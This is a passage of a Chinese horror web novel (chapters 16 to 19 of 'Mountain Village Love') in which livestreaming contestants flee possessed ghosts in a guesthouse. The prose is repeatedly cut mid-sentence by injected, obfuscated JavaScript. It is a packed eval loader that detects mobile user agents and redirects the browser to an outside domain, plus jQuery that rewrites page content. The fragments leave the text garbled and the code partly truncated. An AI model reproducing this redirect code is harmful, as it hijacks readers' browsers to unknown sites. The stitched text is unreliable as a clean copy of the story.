这也是她昨晚主动邀秦晓樾跟她一间房的原因，至少在她的能力范围内，能帮一点是一点。 柯清意拉回思绪，说：“精神值一旦掉到30以下，心动手环就会自动脱落，我们还不确定这是不是死亡条件。还是谨慎一点，用手机从门缝底下伸出去拍视频看吧。” “不用了。”秦晓樾摇头说道，“副本里......见鬼的地方多了去了，我总不能一直逃避，说不定......看着看着就不害怕了。” 说完，她长长吐了一口气，像是做足了心理建设，拿上强光手电轻手轻脚地朝门口走去。 见状，余小豆眼底难得划过一丝欣赏，开口安抚道：“其实鬼怪没那么恐怖的，你拉开门，只管拿着强光手电往外一照，什么阴森恐怖的氛围都没了，没什么好害怕的。” “嗯，我知道了。” 秦晓樾走到房门边，右手搭在生锈的圆形门把手上。深吸一口气后，她迅速摁了下中间的小锁，接着转动圆形门把手拉开了房门。 即使有强光手电的照射，但门外画面的惊悚程度还是超出了秦晓樾的意料。 白天还躺在乌老头房间里的余霜，此时就侧站在她们203的房门外，眼睛直直盯着前方的楼梯口。 听见开门声，她猛地将头转了过来。 眼眶长得有些过分，像两片柳叶，里面装着四颗瞳仁，其中两颗瞳仁没有任何的温度和深度，透露着冰冷的死亡气息，另外两颗瞳仁仿若被水泡开一样，又黑又大，慢慢转动对上了秦晓樾的眼睛。 更诡异的是，她明明是在直视着秦晓樾，但那两颗瞳孔却位于眼尾和眼角的位置，眉毛、鼻子和嘴巴也是双份，左右交错开来，尤其是鼻子的位置，像两座间隔不远的山峰，一座饱满，一座空瘪。 余霜薄薄的皮肤下还藏着另一个人。 ......张丽康。 怪不得风衣男给的情报是“被张丽康附身的余霜”，敢情是能直接在一张脸上看出来两幅面容。 张丽康定定看了秦晓樾两秒，猛地朝她扑了过来。 “秦晓樾！” “喂！愣着干嘛！关门！！” 在柯清意和余小豆的呼喊声中，秦晓樾从惊吓中回过神来。 在张丽康手指即将越过门框的一刹那，她迅速关上了房门，紧接着“嘭”的一声，张丽康的身体重重地砸在了门上。 几乎是下意识的，秦晓樾摁下了中间的小锁。 事实证明她是对的，因为下一秒，门把手就咔擦咔擦地转了起来。 【注意：主播秦晓樾精神值-1......-1......-1......】 “怎、怎么办？！” 秦晓樾盯着门把手不断后退，寒意如同雨后春笋般不断从心底滋生出来，又沿着脊背一路碾压到头顶，她跌坐到余小豆的床上，颤抖着嗓音问：“她会......会进来吗？” 没等余小豆回答，门把手转动的声音就停下了。 秦晓樾的呼吸也不自觉跟着停下，只见底下的门缝里慢慢伸进来一只青白肿胀的手，五根手指扒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“......好！” 秦晓樾立刻用精神力操控天赋“解除效果”，同时起身换了个位置。 门把手凹槽间的胶水一消失，小锁立刻被手指摁得弹了起来，房门也咔嚓一声被顺势推开来，张丽康就像是一条突然挣破塑料袋的鱼，完全收不住力，直接往前扑了两米，一直扑到了余小豆的床脚边，将床铺上的强光手电给撞到了地板上。 余小豆：“.......！！！” 秦晓樾抓住机会，操控胶水黏住了张丽康的双脚，没有丝毫迟疑，直接跑出了房间，奔楼梯口而去。 余小豆感觉到张丽康为了挣脱脚底的胶水，手掌杵在自己小腿上，力道时轻时重，她犹如一只被踩中尾巴的猫，全身寒毛都立了起来，条件反射就想抬脚猛踹张丽康的脑袋。 “别动！”柯清意出声阻止，“她没有攻击我们的意图。” 余小豆也反应过来了，张丽康那两颗仿若被水泡开的瞳仁只死死盯着门外，脑袋都转成了一个诡异的角度，脖子后面的皮肤皱成了一团，一层挤压着一层。 整个过程，张丽康连半个眼神都没甩给过她们两个，就好似她们两个根本就不存在一样。 但要是主动踹她一脚，那就不好说了。 思及此，余小豆的理智成功压制住了条件反射，一动不动地任由张丽康轻一下重一下地杵着。 对面两个房间的人像是在管道里时刻向外窥伺的老鼠，见张丽康被“牵制”住，也连忙打开房门朝三楼跑去。 见状，余小豆似是想明白了什么，脸色愈发难看起来。 在艰难地熬了十几秒之后，张丽康脚底的胶水终于消失，最后一次杵着她小腿爬起身，直接转身朝楼梯口的方向去了。 “刚才三楼也有些动静，我没注意听，只听到了马大爷的声音。”余小豆偏头看向右边的柯清意，眉头皱了起来，“三楼......是不是也有人被爱情侦探盯上了？” 柯清意垂眸：“......是。” “是谁？”余小豆接着问，“......马大爷吗？” 话音刚落，走廊里就传来一阵沉重的脚步声，她连忙偏头去看，正巧看见老方拿着一块黑色的铁盾跑进房间，另一只手里还拖着个血人。 17. 山村爱情（十七） 约莫两分钟前，楼上303房间内。 卫衣男将扩音喇叭收回到背包中，跟被绑在中间床铺上的风衣男交换了一个眼神，才把目光转向马大爷，佯装急切地问道：“怎么办？我们怎么下去二楼？” 马大爷没理他，阴沉着一张脸，眼睛死死盯着手机屏幕。 那上面是一段录像，是风衣男在用喇叭放送情报之前，吩咐卫衣男用手机从门缝底下伸出去拍摄的。 画面有点诡异——右边是一扇土黄色的木门，两边的门框从右边向中间延伸变小，似乎是要冲向那沾满黑点和蛛网的天花板；而左边侧站着一个男人，黑色大短裤，灰色汗衫，挺着啤酒肚。 马大爷一眼就能认出画面中的男人，那是本该躺在乌老头房间里的光头男人。 他跟门框一样，上半身向画面中间延伸变小，面容有些模糊，但他的左腿在手电的白光照射下，清晰可怖。 腿上的肌肤透着不正常的猩红和皱瘪，像是被刮走了一部分的血肉，也像是一个大号的毛绒玩具里塞着一团中号玩具的棉花。 而事实是，他的皮肤下塞着一个被剥了皮的乌云，还正好站在他们房间门外。 马大爷沉着脸把手机扔在床上，一言不发地走到窗户边，掀开那块沾满灰尘的红色窗帘，两只手紧紧抓住铁栏杆用力拉拽了几下。 ......纹丝不动，坚固至极。 傻叉！ 卫衣男把手机捡起来揣进裤兜里，在心底暗骂了一声，脸上却是装出一副关怀急切的神色，抬脚走到马大爷身边，学着他的样子拉拽了几下铁栏杆。 “马大爷，我知道你队友余小豆就住在正对下去的房间，但这些栏杆都是铁的，它表层虽然生了一些锈，但单靠人力还是弄不开的。而购物车里的切割机......少说也要几百个金币，就算我们两个凑钱买了，三十分钟内也不一定能切开两个房间的铁栏杆，还是想其他办法吧。” 马大爷也知道窗户这条路行不通，胡乱擦了擦手上的铁锈，喘着粗气问：“那你有什么办法？那......‘人’可就站在我们房间门外，怎么避开？” 卫衣男皱了皱眉，没说话，在床边坐了下来。 “要不......”说话的是风衣男，他脸色凝重地说，“你们硬闯吧。” “不行！”马大爷脱口而出，瞄了卫衣男一眼，“我年纪这么大了，腿脚不一定比得过门外那个，硬闯的话，活命几率肯定没......没其他人大。” 房间一时陷入了沉默。 十多秒后，听见楼下传来“哐当”和“嘭”的声响，卫衣男眼睛一亮，猛地从床边站起身来：“我有办法了！” “什么办法？”马大爷急问道。 卫衣男没有说话，而是越过床铺径自朝房间门口走去。 “你干什么？”马大爷眼底浮现出疑惑和不解来，几乎是下意识地跟上了他。 卫衣男步子又大又快，三两下就走到了房门边，右手搭上圆形门把手，同时转头看向身后尚有四五步远的马大爷，嘴角勾起一抹不怀好意的笑容。 “你！” 马大爷心头一跳，还没来得及加快脚步去阻止卫衣男，房门便被他大大朝里拉开来，而他自己则顺势将身体藏在了房门后。 没了房门的阻隔，站在门外的乌云转头便看见了大咧咧站在房间中的马大爷。 目光交汇片刻，乌云突然咧开嘴巴，一股鲜血如同山洪爆发一样从他嘴巴里涌了出来，同时抬脚朝房间里冲了进来。 “操，你他妈是故意的！你把门关上！把门关上！” 马大爷脸色铁青，又愤怒又害怕，说出口的话虽然强硬，但也掩饰不了话中的颤抖和哀求。 他一边怒求，一边后退到靠近窗户的单人床边，余光不断扫向被绑住双手、连面板都用不了的风衣男，试图寻找最佳时机，将风衣男当成自己的替死鬼。 然而，还没找到最佳时机，他的尾椎上就落下一脚，紧接着风衣男的嗤笑声自身后传来：“抱歉，我从来不给人做替死鬼。” 风衣男这一脚又狠又重，直接将马大爷踹得向前踉跄了几步，脑门重重砸在冰冷的墙壁上，同时，乌云的身躯也扑到了他的后背上，冰凉、塌陷、又僵硬。 马大爷根本来不及挣扎，脑袋昏沉之间就被乌云、又或是光头男人的指甲划破了喉咙，温热的鲜血顿时犹如喷泉溅射，染红了面前的墙壁。 乌云的手指插进马大爷的脖子一侧，像铁钩钩年猪一样，钩着他往外走去。 “救......救我......”在求生本能的驱使下，马大爷四肢拼命挣扎着，发出了微弱的求救声，“救......救命......” 房间里的另外两人没有理会他的求救，一个神色冷漠地看着他被拖走，而一个依旧躲在门后面，不知是愧疚自己刚才开门算计人的行为，还是害怕会被乌云看见。 “求......你......救救我......” 马大爷依旧不死心地求救着，一双眼睛在略微枯皱的脸上绝望地转动，他伸出手去抓床脚，去抓房门，试图抓住一丝活命的机会，可他的力气太孱弱了，根本抓不住。 这副惨状，却吸引了大批观众涌进他的直播间，给他刷了一波礼物，却都是“花瓶”，没有一个能帮助他从乌云手里逃脱出来。 【大家别停啊，“买命钱”继续刷起来。】 【要我说平时的打赏有什么意思，还是得在死之前刷的“买命钱”才刺激，主播能看不能用。】 【操，这两畜生，竟然合谋算计人！】 【不得不说，直接开门这一招有点绝啊。本质上不算直接杀人，但还是让乌云选定了马大爷作为攻击目标，马大爷就算死了，也不能变成鬼怪回来找他报仇。】 【啧，马大爷好歹也是个过了两三个副本的主播，面板上怎么四十多个金币，连逃生的物品都买不了？】 【哎......都说了低级副本尽量闯，能闯就 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“别下去，张丽康追上来了。” 长裙女生另一只手拉住站在原地踌躇不决的女白领，将她二人拖到了墙边，紧紧贴墙站着。 下一秒，乌云就冲到了楼梯口，秦晓樾不自觉屏住了呼吸，试图削弱自己的存在，只是身体不受控地微微颤抖着。 出乎她意料的是，乌云连看没看她们三人一眼，就直接追着老方和马大爷往二楼跑去。 见状，秦晓樾长长吐出一口气，这才后知后觉地回想起柯清意说过“三楼的鬼怪不会攻击她”的话，但她也没有因此而轻松下来，因为二楼会攻击她的鬼怪已经追上来了。 乌云和张丽康在楼梯转角相遇，夫妻俩毫无交流，很快就错开，各追着各的目标而去。 这次不需要谁的提醒，三人都默契地同时朝三楼走廊跑去。 女白领的队友住在离楼梯最近的301房间，此时门大开着，她直接进了房间，嘭的一声关上了房门。 而肖平巍住302，房门紧闭，秦晓樾猜测大概率还被他从里面反锁起来了，她没办法在张丽康追上来之前弄开门，思索一秒，便跟着长裙女生进了303。 长裙女生见状微微皱了皱眉，没说什么，反手关上了房间门，摁下门锁。 倒是卫衣男脸色阴沉地质问道：“你进来干什么？！乌老头说过不准大家上下楼串门，你现在进了我们的房间，要是连累我们怎么办？！” 他的话音刚落，门外就想起了“咔嚓咔嚓”转门把手的声音。 “操。”卫衣男似乎是明白了什么，脸色越发阴沉，盯着秦晓樾冷冷问道：“你是张丽康的攻击目标？” 秦晓樾怔愣住，一时间没听明白他这句话的意思。 什么叫她是？ 张丽康的攻击目标不应该是二楼没被绑住的所有人吗？ 18. 山村爱情（十八） 但秦晓樾已经来不及追问了，因为门把手转动的声音停下来了，只剩楼下“嘭嘭嘭”的撞门声响着。 她下意识朝门缝底看去，果然看见张丽康的手指从门缝底钻了进来，像一根快速生长的藤蔓向上攀爬，就跟之前二楼的景象如出一辙。 但她的天赋【五零二胶水】已经进入了冷却期，六个小时以后才能用。 她还有什么办法能阻止张丽康进来？ ......阻止不了了。 脑海中的思绪如流光划过，张丽康的手指也在瞬息之间扭开了门把手。 “咔嚓——” 房门被打开的声音犹如一记重锤，自上而下狠狠砸在秦晓樾脑海中那根紧绷着的弦上，快要断裂，却还在做着最后的挣扎。 她集中精神，快速滑动面板购物车，试图从中找到一个能保命的物品。 但一眼扫下去，目前解锁了的物品大多数都是千奇百怪的日常用品，像匕首、菜刀、弩箭之类的武器在此刻却没什么大作用。 正在滑动的半透明面板被一团黑影从右向左迅速吞噬，秦晓樾透过面板看去，见房间门已经被推开了大半，而她正好对上了张丽康那两颗肿胀的漆黑瞳孔，死气沉沉，像两团无尽的深渊在盯着她。 【注意：主播秦晓樾精神值-1......-1......】 巨大的恐惧和寒意席卷她的全身，她僵直在原地，竟一时忘了逃跑和反抗，只能眼睁睁看着那两颗黑瞳孔变得越来越大。 下一秒，秦晓樾眼前一花，已经逼至眼前的那两颗黑瞳孔忽然消失，代替撞入眼中的是一大片黄色。 “秦晓樾？” 是柯清意的声音。 —— 柯清意看见老方出现在203房门口的时候，并未感到意外，倒是有些意外他手里拖拽着的马大爷。 因为她清晰地听到了楼上303房间里的对话，知道在卫衣男的阴险操作下，马大爷不幸成了乌云的攻击目标。 她也听到了马大爷那微弱的呼救声、被乌云拖行在地板上的声音，以及开门声和盾牌撞击声，却没想到后面那两道声音来自老方，他不仅救下了马大爷，还将人带来了二楼。 他的善良程度，有些超乎了柯清意的预料。 只是...... 被老方救下的马大爷现在的模样可不算好。 鲜血从他脖子上的那道划痕里泊泊流出，由于失血过多，他的面色变得十分惨白，双眼紧闭，呼吸微弱，已临近死亡边缘。 老方这一救，恐怕也只是延缓了他的死亡时间。 “马大爷怎么会变成这样？！” 余小豆看到马大爷濒死的模样，惊愕出声，但走廊里乌云沉重的脚步声已经越来越近，老方根本没时间跟她解释，迅速将房门关上反锁后，他把马大爷拖到余小豆的床脚边，便松开手快步朝柯清意走去。 门外的乌云已经开始撞门了，那木门被撞得嘭嘭作响，听声音根本挡不住他多长时间。 老方快步走到柯清意床边，右手依旧拿着那块黑色铁盾牌，快有半个人高，上面镌刻着奇怪的花纹，柯清意在面板购物车里没看见过这种铁盾。 看来，这铁盾大概率是老方的天赋。 撞门声愈渐变大，柯清意没有细看铁盾上的花纹，而是将目光移到绑住手腕的麻绳上。 老方左手拿着从面板里取出的匕首，锋利的刀刃朝麻绳压下，猛一用力，秦晓樾怎么用力也割不断的麻绳倏地断了，像豆腐一样断成了两半，断得干脆利落，不同寻常。 同时，柯清意的面板闪了一下，第二夜任务最下方，多了一个倒计时： 【00：26：04】 这是老方面板上的倒计时，从三十分钟倒下来，已倒了快四分钟。 柯清意用意念点了下购物车图标，瞬间跳出来很多花花绿绿的物品图标，她的面板能用了。 “小柯，相机你拿着。” 老方将左手里的匕首收回背包，拿出掌上小相机递给她。 等会要是被乌云和张丽康追杀，他手持铁盾，肯定是顾不上拿着小相机拍摄的。 柯清意也明白这点，抖开手腕上松垮垮的麻绳，接过了小相机。 摄像头跟着慢慢转向了她，两根手指宽的显示屏亮着，上面的画面不断转动，最终定格在一张冷白的小脸上。 见柯清意接过小相机，老方便转身朝门口走去，用铁盾抵住了岌岌可危的木门，回头正想跟柯清意商量一下怎么弄开余小豆手腕上的麻绳，却见柯清意已经走到了马大爷身边，往他瘫软的血手里塞了一把匕首，又强制托起他靠近余小豆。 老方看出了柯清意的意图，皱眉问道：“这样能割断吗？” 马大爷几近昏迷，已经没了割麻绳的气力和自主意识，柯清意的做法在某种程度上算是自己去割余小豆手腕上的麻绳了......能割断吗？ “这是唯一的办法了。” 接过话的是余小豆，她脸上已经没了刚才的惊愕，也没了平时的叛逆和偏激，而是与她年纪不符的冷静。 说话间，柯清意强托着马大爷到了余小豆的床头边，像是操控皮影人儿的木棍，她握着马大爷拿着匕首的手朝麻绳上用力一划，麻绳断开。 她没再管余小豆，把马大爷托到老方身边：“把他背上，我们去三楼。” 去三楼？ “做什么？”老方纳闷问道，他用铁盾勉勉强强也能挡住房门五分钟，为什么要去三楼？ 柯清意把手搭在门把手上，轻声吐出两个字：“救人。” 楼上正对着的房间里传来秦晓樾和卫衣男的说话声，还有门把手转动的声音，说明秦晓樾被张丽康堵在了303房间里。 前有狼，后有虎，还有一个渣男等着救。 而这个渣男还是柯清意完成【毒舌辣嘴】人设的一部分，现在还不能少。 所以，她得去帮秦晓樾，说一句“救人”也不算失实。 果然，底色善良的老方听了这两个字，没再说话，腾出一只手来把马大爷背到自己背上。 余小豆也从床上下来了，左手拿着掌上小相机，右手里拿着刚从地上捡起来的强光手电，沉默地站在他们身后，用行动表明她也会跟他们去三楼。 见状，柯清意不再耽搁时间，示意老方撤开铁盾，站到门边，然后抓住乌云往前撞门的间隙，她猛地拉开房门，乌云因为惯性一头栽进房间里，让出了门口的路。 “跑！” 柯清意边说，边朝乌云后腰上狠狠踹了一脚，多送了他一段路。 三人抓紧时间拔腿往门外跑去，不过三四秒就冲到了303房间门口，柯清意看见秦晓樾呆站在进门处不远处，眼睛瞪得大大的，看着即将扑到身上的张丽康却没丝毫反应。 见状，柯清意拧起眉心，迅速上前抓住张丽康的一条手臂，冰凉、僵硬、略带松滑的触感立马隔着薄薄的裙子传来，她抓住的是死人，是两个死人，皮肉分离的那种。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797630|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知道是不是因为死后变成了鬼怪，张丽康的力气极大，柯清意根本抓不住她，只得抓着她的手臂，将她微微错了个方向，然后猛地松了手，照例用脚多送了她一段路。 余小豆反应也很快，看见张丽康错开后的方向是直冲着退到墙边的卫衣男，也从斜里伸出腿给了她一脚，看见张丽康被踹得直扑卫衣男而去，冷直的唇角勾起一抹愉悦的笑。 她虽然耳力不如柯清意的好，听不见楼上发生的事，但绝对不傻，也猜出来了风衣男对他们隐瞒了一个关键情报——张丽康和乌云只会攻击第一眼见到的主播。 这毕竟是个C+级副本，死亡条件还算苛刻，鬼怪不可能同时把六位没被绑住的主播都当成攻击目标，不然很容易被溜，最后谁也杀不死。 反之，只盯着一位主播攻击，其他主播见了，说不定还会因为自私心理，把那主播推出去挡灾。 如果大家都不知道这点，那谁被当成攻击目标，就纯粹是个运气问题了。 但风衣男不知道用了什么办法，提前知道了这个情报，他和长裙女、汉服女都是一块进来的队友，卫衣男又是汉服女的心动队友，自然不可能把他们三个推出去当倒霉鬼，那同屋但不是队友的马大爷自然也就成了他，或者说是他们四人心目中最理想的倒霉蛋人选之一。 至于秦晓樾，那倒纯粹是她运气不好，成了二楼第一个开门的人。 虽然知道张丽康不会攻击卫衣男，但给他送过去一个鬼怪，看他睁大的眼睛里划过惊恐，余小豆心底还是爽了一把。 柯清意站在秦晓樾身前，低声叫道：“秦晓樾？” 听见柯清意的声音，秦晓樾猛地回过神来，像一条窒息了很久的鱼儿，大口贪婪地喘起气来，她这才发现柯清意、余小豆和老方都进了这个房间，老方背上还背着浑身是血的马大爷。 而眼前已经没有了张丽康的身影，还不待细看，手腕就被柯清意一把抓住，人也被她拖到半开的门边站着。 老方和余小豆也站到了门的另一边。 下一秒，乌云就从门外撞了进来，站在房门背后的老方趁机用铁盾使劲推了他一把，而另一个方向的张丽康已经重新转身朝门口的方向扑来了。 见状，柯清意她们连忙出了房间。 “嘭——！” 等老方也出来后，余小豆猛地把房门关上，把张丽康和乌云都关在了303房间里。 “坚持五秒就好。” 柯清意飞快地说了一句，松开秦晓樾的手腕朝302房门口走去，边从黄马甲里衣的衣兜里掏出了一根发卡，弯腰对着门锁捣鼓起来。 老方、余小豆、秦晓樾：“......” 她真是个正经的外卖员？！ 一愣神，余小豆握住圆形门把手的双手松了点力，门把手被里面的张丽康和乌云转动起来，她的力气根本拉不住房门，眼看门开了条小缝，从缝里伸出来一只诡异的手，余小豆连忙松开了门把手。 “门锁开了，快进来。” 正巧柯清意打开了门锁，几人连忙跑进了302。 肖平巍被绑在窗户边的单人床上，人已经挣扎着翻身下床了，躬身趴在床边，手臂以奇怪的姿势扭着，嘴巴上还贴着黑色胶带，看见他们显得格外激动，嘴巴唔唔地叫了起来。 “别叫了。”余小豆朝他甩了个眼色，没好气地说，“勾引门外那俩鬼怪呢你。” 张丽康和乌云又追到了302门外，一个撞门，一个扭门把手。 19. 山村爱情（十九） 老方想把马大爷放在离门最近的床上，却听见堵着房门的柯清意说：“继续背着，我们还得出去。” “还要出去？！”老方动作顿住，不解道，“还有人要救吗？” 他们六个看上去才是被鬼怪追杀的人吧？ “这次不是救人。”柯清意示意老方过来堵门。 这几间房的木门都有些年头了，虽然厚实，但与门框的连接处却不牢固，底下还有一条大缝。 而门外的那两只鬼怪力气极大，张丽康的手指还会从门缝底延伸进来，此刻，她像走流程一样停下转门把手，把五根手指从门缝底下伸进来。 余小豆早有预料，从面板背包中取出一把匕首蹲下去，对准其中一根手指猛扎下去，将它牢牢钉在门板上，余下的四根手指瑟缩了一下，接着却攻势更猛，转变了方向朝她凶狠地抓来。 老方急道：“缩手。” 闻言，余小豆急忙拔出匕首缩回手，老方手持铁盾往下杵在她身前，挡住了手指继续向前的攻势，但下一秒，无限延伸的手指就像五根光秃秃的藤蔓一样，顺着铁盾往上爬，直冲老方上半身攻去。 柯清意和余小豆见状，同时拉着老方从门边退开。 那五根手指失去攀爬的铁盾，又重新缩回到门板上，去摁门把手上的小锁。 正巧这时，秦晓樾帮肖平巍解开了手腕上的麻绳，走到他们身边，眉心紧紧皱着：“我们怎么出去？” 柯清意扭头在房间里扫了一圈，最终目光停在床上铺着的大红花被子上：“老办法......” “我们六个人又不是挡不住一扇门。”肖平巍撕下自己嘴巴上的胶带，打断她，“为什么非要出去？” 门把手已经被手指转开了，柯清意知道肖平巍骨子里懦弱怕死的性格，直接冷冷回了他一句：“你不想出去就自己待在这。” 说完，她便大步走到床边抓起一床花被子，掐准张丽康和乌云撞进房门的那一刻，用尽全力甩了过去，艳红俗气的花被子铺展在了他们头上。 余小豆和老方一回生二回熟，两人同时转到他们身后，照着后腰就是一脚，踹得他们踉跄进房间深处。 同时，房间里的几人，包括肖平巍都趁机跑出了房间，关上了房门，而斜对面303的房门正巧被打开，露出风衣男、卫衣男和长裙女三人的脸来。 众人：“......” 真巧啊...... 柯清意勾起一抹笑意，低声说：“跟着他们。” 风衣男、卫衣男、长裙女：“......” 虽然他们三个为了避开鬼怪，选择的出门时机不太对，撞上了一堆“拖油瓶”，但他们也不可能现在缩回房间里去，二楼202房间里还有被绑住的队友等着他们。 柯清意几人显然也知道他们的想法，几乎是跟他们同时抬脚，一堆人默契地朝楼梯口跑去。 经过301房门口时，柯清意特意停下脚步，用手拍了拍301的房门，大声道：“去楼下202，我有情报。” 说完也不管里面的人有没有开门，就飞快地朝楼下跑去。 而301房间里的壮汉和女白领，两人各站房门的一边，耳朵贴着墙壁，正专心听着门外的动静，突然响起的拍门声，吓了两人一大跳，接着就听见柯清意的声音。 有情报？ 两人对视一眼，壮汉当机立断：“下楼。” 他倒不是真信了柯清意说的话，而是听门外的动静，除他们之外的十个人都在往楼下202房间跑，一旦他们十个人聚齐在一个房间里，那无形之中变得危险的就是他们两个了。 【是大半夜的我眼花了，少看了一段？还是柯主播在说谎啊？她又知道什么情报了？！】 【不是？壮汉脑子呢？因为一句“有情报”就被骗下楼了？他们两个自己待在楼上多安全，非要去楼下凑热闹。】 【张丽康好惨啊......她这被溜、被踹的鬼生......】 壮汉、女白领二人跟着柯清意先后脚进了202。 刚一进去，站在房门背后的余小豆就迅速关上房门，接着蹲下身体，双手像虚握着什么东西一样，半张开放在门缝边，下一秒，她半张着的手中凭空出现一块灰色厚重的墓碑，墓碑出现在手中的瞬间，她顺势张开手掌，墓碑咚的一声砸在了水泥地板上，正好堵住了底下的门缝。 众人不禁感叹，面板购物车里物品的齐全。 风衣男和卫衣男也合力推了一张单人床抵住房门，片刻后，房门外就响起了撞门声和转动门把手的咔嚓声。 经历过三次这种情形的秦晓樾察觉出不对劲了，皱着眉头说：“他们好像......不太聪明。” 乌云撞门，张丽康先转门把手、后伸手指都像是机器人被设定好的工作程序一样，都第三次了还不知道变通。 老方见她是新人，把马大爷放在中间床铺上后，开口跟她解释道：“低级副本里的鬼怪就跟游戏NPC一样，行为动作只会遵循设定好的程序，所以......” “不——”秦晓樾摇头，“他们昨晚进来杀乌老头的时候，变通了。” 经她这么一提醒，老方也意识到不对劲了。 昨晚的张丽康和乌云是聪明的，他们知道柯清意眼里戴了镜头膜，要是早早附身进来，势必会被柯清意给看出来，打草惊蛇，所以才会特意哄骗余霜和光头男人半夜再出去。 当时众人还觉得他们聪明...... 老方恍然过来，转眼看向众人，却见大部分人都一脸冷静，好似早就意识到不对劲了，唯有壮汉眉头紧皱：“会不会一开始就是我们想多了，如果昨晚他们进来杀那个死老头的程序就是骗主播半夜出去呢......” “但是......”余小豆说，“骗主播半夜出去这事，对鬼怪的智商也是有要求的，你觉得门外那俩有这个智商？” 壮汉更糊涂了：“他们没这个智商，那他们昨晚怎么进来的？” 余小豆忍不住翻了个白眼：“你忘了吗？还有一只婴儿鬼怪，昨晚柯清意遇上的也是婴儿鬼怪，它还利用镜头膜设置了考验。” 壮汉嗫嚅着嘴唇，咕哝道：“婴儿鬼能有这么聪明吗？” 余小豆微笑：“一个人聪不聪明，跟年龄无关。” “......”壮汉再不聪明，也听出来这句话是在嘲讽他了，但看了眼余小豆身上蓝白相间的校服，懒得跟她计较，眼珠一转盯着旁边的柯清意问：“你刚不是说有情报吗？” 余小豆也跟着偏头看过去，却见柯清意正用一种若有所思的眼神盯着自己。 柯清意完全没有盯人被抓包的窘迫，淡定地移开视线，说：“我知道的情报，你们刚才已经讨论了一半。” “......一半？”壮汉不禁怀疑这一半情报是柯清意刚认领到自己头上的，嗤笑道，“那另一半呢？” 柯清意说：“另一半是寻人启事。” “寻人启事？”壮汉在脑子里想了一遍，也没想到关于寻人启事还有什么情报，只得半信半疑地问道，“什么意思？” 柯清意朝房间里的三张单人床扫了一眼，斟酌片刻后开口：“那五十三张寻人启事最大的作用应该不是让我们找到那些被拐卖女孩，而是......” 她顿了两三秒，才想出一个恰当的词：“唤醒她们。” 众人：“......” 壮汉用一种“你在说什么癫话”的表情看着柯清意：“寻人启事为啥会叫寻人启事？寻人，寻人，它最大的作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797631|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用就是寻人。还唤醒？你以为这是魔法世界啊？” 柯清意瞥了他一眼，不疾不徐地说：“你觉得是现实跟副本的差距小？还是魔法世界跟副本的差距小？” “......”壮汉沉默不语，副本里鬼怪丛生，若真要比个大小，自然是跟魔法世界的差距小。 “小柯。”老方问道，“你说的‘唤醒她们’......是什么意思？” 柯清意垂下眼眸，目光落在手中拿着的掌上小相机上，看着屏幕里半隐半现的人脸说：“寻人启事的作用确实是寻人，但如果把‘寻人’这两个字过度解读，就会有两重意思。” “一重是寻找生物层面上的‘人’，指身体；一重是寻找哲学层面上的‘人’，指具有思想和思考能力的。” “张丽康在笔记本中提到过：乌山村吃了二十几个跟她一样被拐卖来的女人，她们有的挺着几个月的肚子，有的抱着孩子，都来劝张丽康留在乌山村跟乌云好好过日子......” “从这几句话中可以看出，那些女孩和以前的她们自己相比，思想和思考能力必然是退化了的。换句话说，她们失去了自我的灵魂。” “而目前看来，这个副本有三个阵营——犯了罪的乌老头和村民一个阵营，变成鬼怪的张丽康、乌云和婴儿鬼一个阵营，六十四位被拐卖女孩一个阵营。” “三个阵营？”老方问，“你的意思是我们十二人也属于其中某个阵营？” “对。” 柯清意抬眸盯着床铺上的空气，语气很平，却掷地有声：“法律、道德和身份，早已替我们选好了阵营。” 众人闻言，仿佛连空气都静默下来，只剩乌云嘭嘭的撞门声回荡在房间里。 是啊，他们这群人早在一开始就选好了阵营。 他们是外来人，其中一半是年轻女孩，自然会被乌山村村民忌讳，甚至是觊觎。 而张丽康、乌云和婴儿鬼是爱情侦探，一到晚上就变着法儿地考验他们，杀死他们。 与其说是他们自己选择了六十四位被拐卖女孩的阵营，不如说他们是被法律、道德和身份推到这个阵营里来的。 柯清意在一片沉默中，继续开口说道：“既然我们跟被拐卖女孩是同一个阵营，那暗线任务后50%的进度，一定包含‘拯救被拐卖女孩’这个任务。 “与‘寻人’同理，‘拯救’也能解读出两重意思——一重拯救身体，一重拯救灵魂。” “所以，我觉得寻人启事最大的作用是......拯救灵魂，唤醒她们。” 房间里的众人散站在各处，此刻都怔怔地看着柯清意，每个直播间前的观众也盯着半大屏幕的她，全都难掩心中的震惊和恍然。 【她真的是个新人主播？！她真的没看过这个副本？！她真的没开外挂？！】 【去小柯主播直播间看看就知道了。】 【不是，我以为她说“有情报”，就是说说而已啊......谁知道她来真的，介么大滴情报......】 【去小柯主播直播间看看就知道了。】 【她到底是怎么知道寻人启事第二个作用的？猜的吗？】 【去小柯主播直播间看看就知道了。】 看见各种五花八门的弹幕中夹杂着一句重复的弹幕，观众禁不住好奇心，点了点屏幕右侧上方的副本名称《山村爱情》，往下划拉，在十一个主播直播间名字中找到了【柯清意直播间】，点进去—— 【我嘞个豆！！！怎么没有高能预警，我差点原地去世！】 【......小柯主播竟然一直在骗人......】 【好吧，我算是理解她为什么会知道这些情报了。】 【哈哈哈哈，小柯主播把人把鬼都骗得死死的。】 20. 山村爱情（二十） 